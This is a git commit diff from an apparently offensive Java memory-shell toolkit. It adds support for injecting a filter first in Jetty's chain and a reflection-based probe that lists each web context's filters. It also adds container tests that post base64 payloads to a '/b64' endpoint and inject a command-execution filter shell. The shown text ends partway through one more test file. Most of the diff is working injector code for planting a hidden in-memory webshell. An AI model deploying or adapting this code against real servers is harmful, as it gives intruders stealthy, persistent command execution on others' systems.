feat: support addFilterFirst for jetty

This commit is contained in:
ReaJason
2026-01-12 02:12:34 +08:00
parent aa1c4b3d13
commit fea1c0d18e
17 changed files with 640 additions and 48 deletions
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -86,68 +84,53 @@ public class JettyFilterInjector {
return; return;
} }
String[] classNames = new String[]{ String[][] filterHolderClassNames = new String[][]{
"org.eclipse.jetty.servlet.FilterHolder", new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
"org.eclipse.jetty.ee8.servlet.FilterHolder", new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
"org.eclipse.jetty.ee9.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
"org.eclipse.jetty.ee10.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
"org.eclipse.jetty.ee11.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
"org.mortbay.jetty.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
}; };
Class<?> filterHolderClass = null; Class<?> filterHolderClass = null;
Class<?> filterMappingClass = null;
for (String className : classNames) { for (String[] classNames : filterHolderClassNames) {
try { try {
filterHolderClass = context.getClass().getClassLoader().loadClass(className); filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
} }
if (filterHolderClass == null) { if (filterHolderClass == null || filterMappingClass == null) {
throw new ClassNotFoundException("FilterHodler"); throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
} }
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class); Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filter.getClass()); Object filterHolder = constructor.newInstance(filter.getClass());
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
moveFilterToFirst(servletHandler);
invokeMethod(servletHandler, "invalidateChainsCache");
}
private void moveFilterToFirst(Object servletHandler) throws Exception { invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
int filterLength;
if (filterMaps.getClass().isArray()) { Object filterMapping = filterMappingClass.getConstructor().newInstance();
filterLength = Array.getLength(filterMaps); invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
for (int i = 0; i < filterLength; i++) { invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
Object filter = Array.get(filterMaps, i); invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) { Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
reorderedFilters.add(0, filter); Object[] newMappings = null;
} else { int length = Array.getLength(mappings);
reorderedFilters.add(filter); if (mappings == null || length == 0) {
} newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
} } else {
for (int i = 0; i < filterLength; i++) { newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
Array.set(filterMaps, i, reorderedFilters.get(i)); System.arraycopy(mappings, 0, newMappings, 1, length);
}
} else if (filterMaps instanceof ArrayList) {
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
for (Object filter : filterList) {
String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) {
reorderedFilters.add(0, filter);
} else {
reorderedFilters.add(filter);
}
}
filterList.clear();
filterList.addAll(reorderedFilters);
} }
newMappings[0] = filterMapping;
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
invokeMethod(servletHandler, "invalidateChainsCache");
} }
@Override @Override
@@ -8,8 +8,14 @@ public enum ProbeContent {
Server, Server,
OS, OS,
JDK, JDK,
// 字节码执行
Bytecode, Bytecode,
// 命令执行
Command, Command,
// 基础信息
BasicInfo, BasicInfo,
ScriptEngine // 脚本引擎执行
ScriptEngine,
// Filter 配置
Filter
} }
@@ -0,0 +1,241 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class JettyFilterProbe {
@Override
public String toString() {
String msg = "";
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found\n";
} else {
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
}
msg += formatFiltersData(allFiltersData);
}
return msg;
}
private List<Map<String, String>> collectFiltersData(Object context) {
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
try {
Object servletHandler = getFieldValue(context, "_servletHandler");
if (servletHandler == null) return Collections.emptyList();
Object[] filterMappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
Object[] filterHolders = (Object[]) invokeMethod(servletHandler, "getFilters");
if (filterMappings == null || filterMappings.length == 0) return Collections.emptyList();
for (Object mapping : filterMappings) {
String name = (String) invokeMethod(mapping, "getFilterName");
if (name == null) continue;
if (!aggregatedData.containsKey(name)) {
String filterClass = "N/A";
if (filterHolders != null) {
for (Object holder : filterHolders) {
String holderName = (String) invokeMethod(holder, "getName");
if (!name.equals(holderName)) continue;
String cls = (String) invokeMethod(holder, "getClassName");
if (cls == null) {
Object filterInstance = invokeMethod(holder, "getFilter");
if (filterInstance != null) {
cls = filterInstance.getClass().getName();
}
}
if (cls != null) filterClass = cls;
break;
}
}
Map<String, Object> info = new HashMap<>();
info.put("filterName", name);
info.put("filterClass", filterClass);
info.put("urlPatterns", new LinkedHashSet<String>());
aggregatedData.put(name, info);
}
Map<String, Object> info = aggregatedData.get(name);
String[] pathSpecs = null;
try {
pathSpecs = (String[]) invokeMethod(mapping, "getPathSpecs");
} catch (Exception ignored) {
}
if (pathSpecs != null) {
((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(pathSpecs));
}
}
} catch (Exception ignored) {
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"), "");
appendIfPresent(output, " -> ", info.get("filterClass"), "");
appendIfPresent(output, " -> URL:", info.get("urlPatterns"), "");
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value).append(suffix);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* org.mortbay.jetty.webapp.WebAppContext
* org.eclipse.jetty.webapp.WebAppContext
* org.eclipse.jetty.ee8.webapp.WebAppContext
* org.eclipse.jetty.ee9.webapp.WebAppContext
* org.eclipse.jetty.ee10.webapp.WebAppContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
// jetty 6
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
} else {
// jetty 7+
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
contexts.add(getFieldValue(threadLocalValue, "this$0"));
}
}
}
}
}
} catch (Exception ignored) {
}
}
return contexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) {
Class<?>[] paramClazz = null;
Object[] param = null;
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -4,6 +4,7 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.probe.payload.BasicInfoPrinter; import com.reajason.javaweb.probe.payload.BasicInfoPrinter;
import com.reajason.javaweb.probe.payload.JdkProbe; import com.reajason.javaweb.probe.payload.JdkProbe;
import com.reajason.javaweb.probe.payload.ServerProbe; import com.reajason.javaweb.probe.payload.ServerProbe;
import com.reajason.javaweb.probe.payload.filter.JettyFilterProbe;
import com.reajason.javaweb.probe.payload.filter.TomcatFilterProbe; import com.reajason.javaweb.probe.payload.filter.TomcatFilterProbe;
import com.reajason.javaweb.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
@@ -38,4 +39,8 @@ public class DetectionTool {
public static String getTomcatFilterProbe() { public static String getTomcatFilterProbe() {
return getBase64Class(TomcatFilterProbe.class); return getBase64Class(TomcatFilterProbe.class);
} }
public static String getJettyFilterProbe() {
return getBase64Class(JettyFilterProbe.class);
}
} }
@@ -4,9 +4,13 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.containers.wait.strategy.Wait;
@@ -15,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -34,6 +42,11 @@ public class Jetty10ContainerTest {
.waitingFor(Wait.forHttp("/app")) .waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080); .withExposedPorts(8080);
@AfterAll
public static void tearDown() {
log.info(container.getLogs());
}
@Test @Test
void testJDK() { void testJDK() {
String url = getUrl(container); String url = getUrl(container);
@@ -69,4 +82,24 @@ public class Jetty10ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V11); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V11);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V11, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -75,4 +82,24 @@ public class Jetty11ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V17); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V17);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V17, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -62,4 +69,24 @@ public class Jetty12ee10ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -62,4 +69,24 @@ public class Jetty12ee11ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -68,4 +75,24 @@ public class Jetty12ee8ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -62,4 +69,24 @@ public class Jetty12ee9ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -75,4 +82,24 @@ public class Jetty61ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
